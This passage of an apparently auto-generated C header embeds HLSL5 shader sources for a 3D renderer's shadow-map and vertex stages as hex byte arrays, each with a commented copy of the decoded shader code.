0x52,0x44,0x32,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,
0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3a,0x20,0x54,0x45,0x58,
0x43,0x4f,0x4f,0x52,0x44,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,
0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x34,0x3b,0x0a,0x7d,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,
0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x3a,
0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,
0x6f,0x6e,0x20,0x3a,0x20,0x53,0x56,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x38,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x76,0x6f,0x69,0x64,0x20,0x76,0x65,0x72,0x74,0x5f,0x6d,0x61,0x69,0x6e,0x28,0x29,
0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x38,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x6d,
0x75,0x6c,0x28,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x61,0x50,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x66,0x29,0x2c,0x20,0x5f,0x32,0x31,0x5f,
0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x70,0x72,0x6f,0x6a,0x5a,
0x57,0x20,0x3d,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,
0x7a,0x77,0x3b,0x0a,0x7d,0x0a,0x0a,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,
0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x28,0x53,
0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,0x6e,0x70,0x75,0x74,
0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x29,0x0a,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,
0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,0x50,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x61,0x4e,0x6f,0x72,0x6d,
0x61,0x6c,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,
0x2e,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x20,0x20,0x20,0x20,0x61,0x54,
0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,
0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,
0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,0x43,
0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x61,0x43,
0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x73,0x74,0x61,
0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,
0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x72,0x74,0x5f,
0x6d,0x61,0x69,0x6e,0x28,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x53,0x50,0x49,0x52,
0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x20,0x73,
0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,0x67,0x6c,
0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x67,0x6c,0x5f,0x50,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x73,0x74,0x61,
0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,0x70,0x72,0x6f,0x6a,0x5a,0x57,
0x20,0x3d,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,
0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x00,
};
/*
static float2 projZW;
static float4 fragColor;
struct SPIRV_Cross_Input
{
float2 projZW : TEXCOORD0;
};
struct SPIRV_Cross_Output
{
float4 fragColor : SV_Target0;
};
#line 10 "src/ek/scenex/3d/render3d.glsl"
float4 encodeDepth(float v)
{
#line 10 "src/ek/scenex/3d/render3d.glsl"
float4 _25 = frac(float4(1.0f, 255.0f, 65025.0f, 16581375.0f) * v);
return _25 - (_25.yzww * float4(0.0039215688593685626983642578125f, 0.0039215688593685626983642578125f, 0.0039215688593685626983642578125f, 0.0f));
}
#line 17 "src/ek/scenex/3d/render3d.glsl"
void frag_main()
{
#line 17 "src/ek/scenex/3d/render3d.glsl"
float param = projZW.x / projZW.y;
fragColor = encodeDepth(param);
}
SPIRV_Cross_Output main(SPIRV_Cross_Input stage_input)
{
projZW = stage_input.projZW;
frag_main();
SPIRV_Cross_Output stage_output;
stage_output.fragColor = fragColor;
return stage_output;
}
*/
static const char fs_shadow_map_source_hlsl5[911] = {
0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,
0x6f,0x6a,0x5a,0x57,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x34,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x3b,0x0a,0x0a,
0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,
0x73,0x73,0x5f,0x49,0x6e,0x70,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x3a,0x20,0x54,
0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x30,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,
0x72,0x75,0x63,0x74,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,
0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3a,
0x20,0x53,0x56,0x5f,0x54,0x61,0x72,0x67,0x65,0x74,0x30,0x3b,0x0a,0x7d,0x3b,0x0a,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x65,0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x66,0x6c,
0x6f,0x61,0x74,0x20,0x76,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,
0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,
0x35,0x20,0x3d,0x20,0x66,0x72,0x61,0x63,0x28,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,
0x31,0x2e,0x30,0x66,0x2c,0x20,0x32,0x35,0x35,0x2e,0x30,0x66,0x2c,0x20,0x36,0x35,
0x30,0x32,0x35,0x2e,0x30,0x66,0x2c,0x20,0x31,0x36,0x35,0x38,0x31,0x33,0x37,0x35,
0x2e,0x30,0x66,0x29,0x20,0x2a,0x20,0x76,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x5f,0x32,0x35,0x20,0x2d,0x20,0x28,0x5f,0x32,0x35,
0x2e,0x79,0x7a,0x77,0x77,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x30,
0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,
0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,
0x66,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,
0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,
0x38,0x31,0x32,0x35,0x66,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,
0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,
0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x66,0x2c,0x20,0x30,0x2e,0x30,0x66,0x29,
0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x76,0x6f,0x69,0x64,0x20,0x66,0x72,0x61,0x67,0x5f,0x6d,0x61,0x69,0x6e,0x28,0x29,
0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x70,
0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x78,0x20,0x2f,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,
0x2e,0x79,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,
0x72,0x20,0x3d,0x20,0x65,0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,
0x70,0x61,0x72,0x61,0x6d,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x53,0x50,0x49,0x52,0x56,
0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x20,0x6d,0x61,
0x69,0x6e,0x28,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,
0x6e,0x70,0x75,0x74,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,
0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x3d,
0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x70,0x72,0x6f,
0x6a,0x5a,0x57,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x72,0x61,0x67,0x5f,0x6d,0x61,
0x69,0x6e,0x28,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,
0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x20,0x73,0x74,0x61,
0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x73,
0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,0x66,0x72,0x61,0x67,
0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,
0x72,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x73,0x74,
0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x00,
};
/*
cbuffer vs_params : register(b0)
{
row_major float4x4 _16_uModelViewProjection : packoffset(c0);
row_major float4x4 _16_uModel : packoffset(c4);
row_major float4x4 _16_u_normal_matrix : packoffset(c8);
row_major float4x4 _16_u_depth_mvp : packoffset(c12);
};
static float4 gl_Position;
static float3 vNormal;
static float3 aPosition;
static float3 vFragPos;
static float2 vTexCoord;
static float2 aTexCoord;
static float4 vColorMult;
static float4 aColorMult;
static float4 vColorOffset;
static float4 aColorOffset;
static float4 v_shadow_pos;
static float3 aNormal;
struct SPIRV_Cross_Input
{
float3 aPosition : TEXCOORD0;
float3 aNormal : TEXCOORD1;
float2 aTexCoord : TEXCOORD2;
float4 aColorMult : TEXCOORD3;
float4 aColorOffset : TEXCOORD4;
};
struct SPIRV_Cross_Output
{
float2 vTexCoord : TEXCOORD0;
float3 vNormal : TEXCOORD1;
float3 vFragPos : TEXCOORD2;
float4 vColorMult : TEXCOORD3;
float4 vColorOffset : TEXCOORD4;
float4 v_shadow_pos : TEXCOORD5;
float4 gl_Position : SV_Position;
};
#line 27 "src/ek/scenex/3d/render3d.glsl"
void vert_main()
{
#line 27 "src/ek/scenex/3d/render3d.glsl"
float4 _29 = float4(aPosition, 1.0f);
vNormal = float3(normalize(mul(_29, _16_u_normal_matrix)).xyz);
#line 28 "src/ek/scenex/3d/render3d.glsl"
vFragPos = mul(aPosition, float3x3(_16_uModel[0].xyz, _16_uModel[1].xyz, _16_uModel[2].xyz));
#line 29 "src/ek/scenex/3d/render3d.glsl"
vTexCoord = aTexCoord;
#line 30 "src/ek/scenex/3d/render3d.glsl"
vColorMult = aColorMult;
#line 31 "src/ek/scenex/3d/render3d.glsl"
vColorOffset = aColorOffset;
#line 33 "src/ek/scenex/3d/render3d.glsl"
v_shadow_pos = mul(_29, _16_u_depth_mvp);
#line 34 "src/ek/scenex/3d/render3d.glsl"
gl_Position = mul(_29, _16_uModelViewProjection);
}
SPIRV_Cross_Output main(SPIRV_Cross_Input stage_input)
{
aPosition = stage_input.aPosition;
aTexCoord = stage_input.aTexCoord;
aColorMult = stage_input.aColorMult;
aColorOffset = stage_input.aColorOffset;
aNormal = stage_input.aNormal;
vert_main();
SPIRV_Cross_Output stage_output;
stage_output.gl_Position = gl_Position;
stage_output.vNormal = vNormal;
stage_output.vFragPos = vFragPos;
stage_output.vTexCoord = vTexCoord;
stage_output.vColorMult = vColorMult;
stage_output.vColorOffset = vColorOffset;
stage_output.v_shadow_pos = v_shadow_pos;
return stage_output;
}
*/
static const char vs_source_hlsl5[2452] = {
0x63,0x62,0x75,0x66,0x66,0x65,0x72,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x28,0x62,0x30,0x29,
0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x6f,0x77,0x5f,0x6d,0x61,0x6a,0x6f,0x72,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x5f,0x31,0x36,0x5f,0x75,0x4d,
0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,
0x6f,0x6e,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,
0x63,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x6f,0x77,0x5f,0x6d,0x61,0x6a,
0x6f,0x72,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x5f,0x31,0x36,0x5f,
0x75,0x4d,0x6f,0x64,0x65,0x6c,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,
0x73,0x65,0x74,0x28,0x63,0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x6f,0x77,
0x5f,0x6d,0x61,0x6a,0x6f,0x72,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,
0x5f,0x31,0x36,0x5f,0x75,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x5f,0x6d,0x61,0x74,
0x72,0x69,0x78,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,
0x28,0x63,0x38,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x6f,0x77,0x5f,0x6d,0x61,
0x6a,0x6f,0x72,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x5f,0x31,0x36,
0x5f,0x75,0x5f,0x64,0x65,0x70,0x74,0x68,0x5f,0x6d,0x76,0x70,0x20,0x3a,0x20,0x70,
0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x31,0x32,0x29,0x3b,0x0a,
0x7d,0x3b,0x0a,0x0a,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,
0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x4e,
0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,
0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x46,
0x72,0x61,0x67,0x50,0x6f,0x73,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,
0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x61,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,
0x6c,0x74,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,
0x66,0x73,0x65,0x74,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x34,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,
0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,
0x20,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x49,0x6e,0x70,
0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,
0x4f,0x4f,0x52,0x44,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,
0x4f,0x4f,0x52,0x44,0x31,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3a,0x20,0x54,0x45,
0x58,0x43,0x4f,0x4f,0x52,0x44,0x32,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3a,
0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,
0x73,0x65,0x74,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x34,0x3b,
0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x53,0x50,0x49,0x52,
0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,0x0a,0x7b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x76,0x54,0x65,0x78,
0x43,0x6f,0x6f,0x72,0x64,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,
0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x4e,
0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,
0x31,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x46,
0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,
0x44,0x32,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,
0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,
0x4f,0x4f,0x52,0x44,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3a,
0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x34,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,
0x70,0x6f,0x73,0x20,0x3a,0x20,0x54,0x45,0x58,0x43,0x4f,0x4f,0x52,0x44,0x35,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,0x50,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3a,0x20,0x53,0x56,0x5f,0x50,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x32,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x76,0x6f,0x69,0x64,0x20,0x76,0x65,0x72,0x74,0x5f,0x6d,
0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x37,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,0x39,
0x20,0x3d,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x61,0x50,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x66,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3d,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x6d,0x75,0x6c,0x28,0x5f,
0x32,0x39,0x2c,0x20,0x5f,0x31,0x36,0x5f,0x75,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,
0x5f,0x6d,0x61,0x74,0x72,0x69,0x78,0x29,0x29,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
